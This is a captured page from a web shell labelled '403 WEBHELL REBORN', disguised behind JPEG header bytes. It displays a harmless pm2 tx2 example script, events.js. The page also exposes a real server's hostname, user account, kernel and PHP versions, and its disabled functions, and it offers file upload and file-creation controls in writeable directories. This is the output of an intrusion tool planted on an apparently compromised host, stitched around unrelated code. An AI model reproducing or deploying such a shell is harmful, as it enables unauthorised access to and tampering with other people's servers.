ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/lib/node_modules/pm2/node_modules/tx2/example/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //usr/lib/node_modules/pm2/node_modules/tx2/example/events.js
const tx2 = require('..')

console.log(tx2)

tx2.emit('test', { data: 'yes' })

// Metrics variants
tx2.metric({
  name: 'test',
  val: () => {
    return 20
  }
})

tx2.metric('test2', () => {
  return 30
})

let m = tx2.metric('test3', 0)

m.set(45)

// Histogram

let n = tx2.histogram({
  name: 'histo1',
  val: () => {
    return Math.random()
  }
})

// OR
n.update(Math.random() * 1000)

tx2.action('toto', (cb) => {
  return cb({yessai:true})
})


setInterval(() => {} , 1000)

Anon7 - 2021